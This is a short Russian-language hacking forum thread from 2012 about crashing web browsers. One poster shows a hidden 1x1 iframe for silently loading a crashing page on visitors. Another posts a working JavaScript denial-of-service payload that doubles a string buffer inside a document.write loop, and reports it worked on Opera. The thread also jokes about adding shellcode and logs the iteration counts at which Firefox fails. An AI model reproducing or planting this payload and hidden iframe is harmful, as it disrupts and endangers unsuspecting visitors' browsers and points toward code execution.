Переполнение в Firefox 12

Discussion in 'Песочница' started by vasykas, 19 Sep 2012.

  1. vasykas

    vasykas Banned

    Joined:
    7 Mar 2011
    Messages:
    963
    Likes Received:
    137
    Reputations:
    37
    Писал скриптик для записи в файл (PHP) в итоге firefox 12 сдох

    $lines = file($file);
    while(count($lines) > $col) array_shift($lines);


    делаем ифрэйм на этот файл:
    HTML:
    <iframe src="http://site.com/test.php" width=1 height=1 style="display:none"></iframe>
    (чуете чем пахнет) :)
     
    #1 vasykas, 19 Sep 2012
    Last edited: 19 Sep 2012
  2. FindeR

    FindeR Elder - Старейшина

    Joined:
    15 Nov 2006
    Messages:
    623
    Likes Received:
    138
    Reputations:
    20
    Не проще тогда:
    PHP:
    while (true)
    {
     [do 
    something]
    }
    ? Файрфоксу-то какая разница, по какой причине уходить в бесконечный цикл? Не он же с файлами работает.
     
  3. daniel777

    daniel777 Elder - Старейшина

    Joined:
    8 Jul 2010
    Messages:
    517
    Likes Received:
    90
    Reputations:
    37
    Разве не актуально?
    На Опере проверил, сработало.
    Code:
    <body onload="javascript:DoS();"></body> 
    <script> 
    function DoS() {
     
    var buffer = '\x42';
    for (i =0;i<666;i++) {
    buffer+=buffer+'\x42';
    document.write('<html><marquee><h1>'+buffer+buffer);
    } 
    } 
    </script>
     
  4. vasykas

    vasykas Banned

    Joined:
    7 Mar 2011
    Messages:
    963
    Likes Received:
    137
    Reputations:
    37
    осталось только шеллкод прикрутить :)
    у меня опера и ослик тупо виснут а
    файрфокс аварийно завершает
     
    #4 vasykas, 19 Sep 2012
    Last edited: 19 Sep 2012
  5. Pirotexnik

    Pirotexnik Member

    Joined:
    13 Oct 2010
    Messages:
    376
    Likes Received:
    73
    Reputations:
    38
    Прикольная аномалия.

    19 итераций - все гуд (мгновенное выполнение)
    20 итераций - начинает крашится ФФ. Пропадают скрол бары, портится ГУИ. (мгновенное выполнение)
    23 итерации - приколы с гуи сильнее (очень долгое выполнение)
    25 итераций - беспробудный даун.

    о_0